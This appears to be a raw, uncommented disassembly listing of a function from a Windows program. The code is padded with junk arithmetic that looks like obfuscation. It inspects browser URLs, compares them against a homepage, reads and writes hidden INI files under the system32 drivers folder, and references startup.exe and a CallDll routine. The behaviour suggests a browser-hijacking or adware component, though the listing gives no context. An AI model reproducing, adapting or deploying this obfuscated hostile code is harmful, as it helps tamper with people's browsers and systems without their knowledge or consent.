mov ecx, dword [0x45569c]
mov eax, 0x3949660b
imul ecx
sar edx, 7
add esi, edx
mov eax, edx
mov edx, dword [0x455690]
shr eax, 0x1f
imul edx, edx, 0xb8
add eax, esi
mov esi, dword [str._r_____r____]
sub eax, edx
add eax, esi
mov esi, dword [0x455688]
add esi, eax
mov eax, 0x709ad4e5
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc2c05bdf
imul ecx
imul ecx, ecx, 0x92
sar edx, 7
mov eax, edx
mov dword [0x455688], esi
imul esi, esi, 0x14f
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, edi
add ebx, esi
add ebx, ecx
mov ecx, dword [0x45568c]
mov eax, 0xe070381d
imul ecx
mov eax, dword [ebp - 0x10d8]
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov dword [0x4556a4], ebx
mov edx, dword [eax]
lea ecx, [ebp - 0x10f4]
push ecx
push eax
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x10f4]
push edx
call fcn.0041f2c0
mov ecx, dword [0x45569c]
mov esi, dword [0x4556a8]
mov ebx, eax
imul esi, esi, 0x246
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x455688]
sar edx, 8
imul ecx, ecx, 0x1ed
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x455690]
mov eax, 0x8c55841d
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub esi, eax
sub esi, edx
sub esi, 0xb8
test ebx, ebx
mov dword [0x455690], esi
je 0x41bb27
mov edi, 0x446284
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x41bb27
mov ecx, dword [0x4556a8]
mov eax, 0x3d3fa421
imul ecx
imul ecx, ecx, 0xb8
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
mov esi, eax
mov eax, 0x6d978b8f
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [0x4556a0]
imul eax, eax, 0x14f
sub edi, esi
add edi, eax
sub edi, ecx
mov ecx, dword [0x455694]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
push 1
mov dword [0x455698], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d8]
mov edx, dword [eax]
lea ecx, [ebp - 0x10f4]
push ecx
push eax
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x10f4]
push edx
call fcn.0041f2c0
mov ebx, eax
mov ecx, dword [0x45568c]
mov eax, 0x8c55841d
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
imul ecx, ecx, 0x1d3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
imul edx, edx, 0x59
push 4
sub ecx, eax
add ecx, edx
push str.http
push ebx
mov dword [0x4556a0], ecx
call fcn.0042a590
add esp, 0xc
test eax, eax
je 0x41bd8d
push 4
push str.HTTP
push ebx
call fcn.0042a590
add esp, 0xc
test eax, eax
je 0x41bd8d
push 4
push str.www.
push ebx
call fcn.0042a590
add esp, 0xc
test eax, eax
je 0x41bd8d
push 4
push str.WWW.
push ebx
call fcn.0042a590
add esp, 0xc
test eax, eax
je 0x41bd8d
push str.http:
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bc0b
push str.HTTP:
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bc0b
push str.www.
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bc0b
push str.WWW.
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
je 0x41bd8d
mov ecx, dword [str._r_____r____]
mov esi, dword [0x455690]
mov eax, 0x3949660b
imul esi, esi, 0x217
imul ecx
mov ecx, dword [0x455698]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
sar edx, 8
mov ecx, edx
add esi, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x14a
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
push str.http:
push ebx
mov dword [0x4556a8], ecx
call fcn.00429e80
add esp, 8
test eax, eax
je 0x41bd39
push str.http:
jmp 0x41bd82
mov edx, dword [0x4556a4]
imul esi, esi, 0xb8
mov eax, 0x42776e9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45569c]
mov edi, eax
mov ebx, dword [str._r_____r____]
mov eax, 0x3949660b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, dword [0x455688]
sub eax, esi
sub eax, ecx
add eax, ebx
add edi, eax
push str.startup.exe
mov dword [0x455688], edi
call fcn.0040bcb0
add esp, 4
test eax, eax
jle 0x41b143
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 5
je 0x41bcfa
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41bd0e
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41bd22
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41ca87
jmp 0x41ca81
push str.HTTP:
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
je 0x41bd52
push str.HTTP:
jmp 0x41bd82
push str.www.
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
je 0x41bd6b
push str.www.
jmp 0x41bd82
push str.WWW.
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
je 0x41bd8d
push str.WWW.
push ebx
call fcn.00429e80
add esp, 8
mov ebx, eax
mov eax, 0x709ad4e5
imul dword [0x455690]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov esi, dword [0x4556a8]
mov eax, 0xc2c05bdf
imul esi, esi, 0x12b
imul dword [0x45569c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x45568c]
imul ecx, ecx, 0x217
mov eax, 0xe070381d
imul dword [0x455694]
add edx, dword [0x455694]
add ecx, esi
add ecx, edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ecx
mov edx, dword [0x446bc4]
mov dword [str._r_____r____], eax
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x446bc8]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x446bcc]
mov dword [ebp - 0x4c0], edx
mov dx, word [0x446bd0]
mov dword [ebp - 0x4b8], ecx
mov dword [ebp - 0x4bc], eax
xor eax, eax
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45568c]
stosw word es:[edi], ax
mov edi, dword [0x4556a0]
mov eax, 0xc3a13de7
imul edi, edi, 0x217
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 8
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
mov edx, dword [0x455694]
add ecx, edi
sub ecx, esi
sub ecx, edx
add ecx, 0x1d3
mov dword [0x45568c], ecx
mov esi, ebx
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x41bec1
sub esi, edi
mov dword [ebp - 0x10e8], esi
je 0x41c009
push str.http:__
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push str.HTTP:__
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push str.www.
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push str.WWW.
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push str..COM
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push str..com
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push str..NET
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push str..net
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push str..ORG
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push str..org
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push 0x446b7c
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push 0x446b78
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push str..htm
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bfee
push str..HTM
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
je 0x41c003
push ebx
lea eax, [ebp - 0x4c4]
push str.__s_
push eax
call fcn.0042992a
add esp, 0xc
mov ecx, dword [0x45568c]
mov eax, 0x709ad4e5
imul ecx, ecx, 0x217
imul dword [0x455690]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc2c05bdf
imul dword [0x45569c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [0x4556a8]
imul eax, eax, 0x12b
sub edi, esi
add edi, ecx
mov ecx, dword [0x455694]
add edi, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
push str.C:WINDOWS_system_sdax.txt
sar edx, 7
push 0x400
mov ecx, edx
add edi, edx
lea edx, [ebp - 0x8c4]
push edx
push 0x445dd9
shr ecx, 0x1f
push str.rtgbh
add ecx, edi
push str.asdf
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41c1c8
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c0a2
sub eax, edx
mov dword [ebp - 0x10e8], eax
je 0x41c1c8
mov edi, 0x446284
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x41c1c8
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41c14b
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41c14b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea esp, [esp]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x41c128
test al, al
je 0x41c124
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x41c128
add esi, 2
add edi, 2
test al, al
jne 0x41c100
xor eax, eax
jmp 0x41c12d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c14b
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.00429e80
add esp, 8
test eax, eax
je 0x41c15f
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.00429e80
add esp, 8
test eax, eax
je 0x41c1c8
mov esi, dword [0x45569c]
mov ecx, dword [0x4556a8]
mov edi, dword [0x455688]
imul ecx, ecx, 0x246
mov ebx, dword [0x455690]
mov eax, 0x709ad4e5
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x1ed
sub ecx, eax
add ecx, edx
mov eax, 0x8c55841d
imul ebx
add edx, ebx
mov ebx, dword [0x4556a0]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, ebx
sub ecx, 0xb8
mov dword [0x455690], ecx
jmp 0x41c27b
push 0
call fcn.00429a0f
mov ecx, dword [0x4556a8]
mov dword [0x569784], eax
mov eax, dword [0x569780]
add esp, 4
inc eax
mov dword [0x569780], eax
mov eax, 0x3d3fa421
imul ecx
imul ecx, ecx, 0xb8
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
mov esi, eax
mov eax, 0x6d978b8f
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x14f
mov edi, eax
sub edi, esi
add edi, edx
sub edi, ecx
mov ecx, dword [0x455694]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10c8]
sub edi, eax
mov eax, dword [ebp - 0x10d8]
push edx
mov dword [0x455698], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x9c]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov edi, dword [0x455688]
mov ebx, dword [0x4556a0]
mov eax, 0xbd889165
imul ebx, ebx, 0x217
imul ecx, ecx, 0xb8
imul dword [0x4556a4]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, eax
mov eax, 0x3949660b
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, dword [ebp - 0x10d0]
sub eax, ecx
mov ecx, dword [str._r_____r____]
add eax, ecx
add edi, eax
test ebx, ebx
mov dword [0x455688], edi
je 0x41c82f
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10c8], edx
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c2e0
sub eax, dword [ebp - 0x10c8]
mov dword [ebp - 0x10c8], eax
je 0x41c82f
mov edi, dword [0x455698]
imul ecx, ecx, 0x92
mov eax, dword [0x45568c]
imul edi, edi, 0x1ed
imul eax, eax, 0x217
add edi, eax
mov eax, 0xc3a13de7
imul esi
add edx, esi
mov esi, dword [0x4556a4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, esi
lea ecx, [ecx + edi - 0xb8]
push 0xffffffffffffffff
mov dword [0x455694], ecx
push 0x559370
lea ecx, [ebp - 0x113c]
call fcn.00405d80
mov esi, dword [0x45568c]
mov ecx, dword [str._r_____r____]
mov eax, 0x8c55841d
imul ecx, ecx, 0x1d3
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
imul edx, edx, 0x59
sub ecx, eax
add ecx, edx
mov byte [ebp - 4], 7
mov dword [0x4556a0], ecx
mov eax, 0x558b68
mov edi, ebx
mov bl, byte [edi]
mov dl, bl
cmp bl, byte [eax]
jne 0x41c3bb
test dl, dl
je 0x41c3b7
mov bl, byte [edi + 1]
mov dl, bl
cmp bl, byte [eax + 1]
jne 0x41c3bb
add edi, 2
add eax, 2
test dl, dl
jne 0x41c397
xor eax, eax
jmp 0x41c3c0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c814
mov edi, dword [0x4556a8]
mov ebx, ecx
imul ebx, ebx, 0x217
mov eax, edi
imul eax, eax, 0x12b
sub ebx, eax
mov eax, 0xc3a13de7
imul esi
add edx, esi
mov esi, dword [0x455690]
sar edx, 8
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xe070381d
imul esi
mov eax, dword [ebp - 0x10d0]
add edx, esi
sar edx, 7
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
mov ebx, dword [0x455694]
sub esi, ebx
add esi, 0x1d3
lea edx, [eax + 1]
mov dword [0x45568c], esi
mov dword [ebp - 0x10c8], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c435
sub eax, dword [ebp - 0x10c8]
cmp eax, 0x800
jae 0x41c463
mov ecx, dword [ebp - 0x10d0]
mov edx, 0x558b68
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41c454
jmp 0x41c4e7
mov eax, 0x3d3fa421
imul ecx, ecx, 0x14f
imul edi
imul edi, edi, 0xb8
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x6d978b8f
imul dword [0x455698]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
add eax, ecx
sub eax, edi
mov esi, eax
mov eax, 0xe070381d
imul ebx
add edx, ebx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10d0]
sub esi, ecx
push 0x7ff
push edx
xor eax, eax
mov ecx, 0x200
mov edi, 0x558b68
push 0x558b68
mov dword [0x455698], esi
rep stosd dword es:[edi], eax
call fcn.0042a460
mov esi, dword [0x45568c]
add esp, 0xc
mov ecx, dword [0x4556a4]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc2c05bdf
imul ecx
imul ecx, ecx, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x14f
mov ebx, eax
sub ebx, edi
add ebx, edx
mov eax, 0xe070381d
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, ecx
add eax, edx
sub ebx, eax
mov eax, 0x558268
mov dword [0x4556a4], ebx
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c554
sub eax, ecx
cmp eax, 5
jbe 0x41c814
mov ecx, dword [ebp - 0x10d0]
push str.ConfigL6
push ecx
call fcn.00404500
add esp, 8
test eax, eax
jne 0x41c814
mov ecx, dword [str._r_____r____]
mov esi, dword [0x455690]
mov eax, 0x3949660b
imul esi, esi, 0x217
imul ecx
mov ecx, dword [0x455698]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
sar edx, 8
mov ecx, edx
add esi, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x14a
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
push 0x132b600
mov dword [0x4556a8], ecx
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 4
xor esi, esi
cmp esi, 0x64
jge 0x41c687
mov ecx, dword [0x455690]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc2c05bdf
imul ecx
mov eax, dword [0x4556a8]
sar edx, 7
imul eax, eax, 0x12b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x217
mov ebx, ecx
mov ecx, dword [0x455694]
sub ebx, edi
add ebx, edx
add ebx, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
push 0x64
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x558268
lea ecx, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c670
sub eax, ecx
mov dword [ebp - 0x10c8], eax
je 0x41c687
inc esi
jmp 0x41c5e5
mov esi, dword [0x4556a0]
mov edx, dword [0x4556a8]
imul esi, esi, 0x217
mov ecx, dword [0x45568c]
imul edx, edx, 0x12b
sub esi, edx
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 8
mov edi, edx
add esi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
push str.C:WINDOWS_system32driversetc_service5.ini
sar edx, 7
shr edi, 0x1f
push 0x800
mov eax, edx
shr eax, 0x1f
add edi, esi
add edi, edx
mov edx, dword [0x455694]
lea ecx, [ebp - 0x10c4]
push ecx
add eax, edi
push 0x445dd9
sub eax, edx
push str.ConfigL5
add eax, 0x1d3
push str.GameType1
mov dword [0x45568c], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [0x455698]
mov edx, dword [0x45568c]
imul esi, esi, 0x1ed
mov ecx, dword [0x45569c]
imul edx, edx, 0x217
mov ebx, dword [0x4556a4]
add esi, edx
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
imul ecx, ecx, 0x92
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ebx
lea eax, [ebp - 0x10c4]
lea edx, [ecx + esi - 0xb8]
push eax
mov dword [0x455694], edx
call fcn.00429a0a
inc eax
push eax
lea ecx, [ebp - 0x10c4]
push 0x445d98
push ecx
call fcn.0042992a
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea edx, [ebp - 0x10c4]
push edx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x455694]
mov eax, 0x709ad4e5
imul ecx
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x23c
add esi, eax
imul ecx, ecx, 0xb8
mov eax, dword [0x455690]
imul eax, eax, 0x217
add esi, eax
mov eax, 0x42776e9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov dword [0x45569c], esi
mov esi, dword [0x558260]
inc esi
push 0
mov dword [0x558260], esi
call fcn.00429a0f
add esp, 4
mov dword [0x558264], eax
lea ecx, [ebp - 0x113c]
mov byte [ebp - 4], 6
call fcn.00405e10
mov esi, dword [0x45569c]
mov edi, dword [0x455688]
mov eax, 0x709ad4e5
imul edi, edi, 0x14f
imul dword [0x4556a4]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xc2c05bdf
imul esi
imul esi, esi, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [0x45568c]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
add ebx, edi
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10cc]
add ebx, esi
push ecx
sub ebx, ecx
mov eax, esp
mov dword [0x4556a4], ebx
mov dword [eax], edx
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov dword [ebp - 0x10c8], esp
je 0x41c8ab
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov ecx, 0x5694b0
call fcn.00406c00
mov ecx, dword [0x4556a4]
mov esi, dword [0x4556a0]
mov eax, 0xbd889165
imul esi, esi, 0x217
imul ecx
mov ecx, dword [0x45569c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x3949660b
imul ecx
mov eax, dword [ebp - 0x10cc]
sar edx, 7
sub edi, esi
mov esi, dword [0x455688]
add edi, edx
mov ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0xb8
shr ecx, 0x1f
add ecx, edi
mov edi, dword [str._r_____r____]
sub ecx, edx
add ecx, edi
add esi, ecx
push 0
push eax
mov dword [0x455688], esi
call fcn.004089d0
mov esi, dword [0x45569c]
mov ecx, dword [0x4556a8]
mov edi, dword [0x455690]
imul ecx, ecx, 0x246
mov eax, 0x709ad4e5
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x1ed
sub ecx, eax
add ecx, edx
mov eax, 0x8c55841d
imul edi
add edx, edi
mov edi, dword [0x4556a0]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
add esp, 8
sub ecx, 0xb8
mov dword [0x455690], ecx
jmp 0x41c9a0
mov esi, dword [0x45569c]
mov ecx, dword [0x455690]
mov edi, dword [0x4556a0]
mov eax, 0x3d3fa421
imul edi, edi, 0x14f
imul dword [0x4556a8]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
mov dword [ebp - 0x10c8], eax
mov eax, 0x6d978b8f
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0xb8
mov ebx, eax
mov eax, dword [ebp - 0x10c8]
sub ebx, eax
add ebx, edi
mov edi, dword [0x455694]
sub ebx, edx
mov eax, 0xe070381d
imul edi
add edx, edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov dword [0x455698], ebx
mov byte [ebp - 4], 5
je 0x41ca33
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41ca53
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41ca73
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41ca93
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10f0]
mov ebx, dword [0x4556a8]
inc eax
mov dword [ebp - 0x10f0], eax
mov edi, eax
jmp 0x41aa10
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41cac1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45568c]
mov eax, 0x8c55841d
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x1d3
sub eax, ecx
mov ecx, dword [0x455698]
imul ecx, ecx, 0x59
add eax, ecx
mov dword [0x4556a0], eax
mov eax, dword [ebp - 0x10ec]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.004291fd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret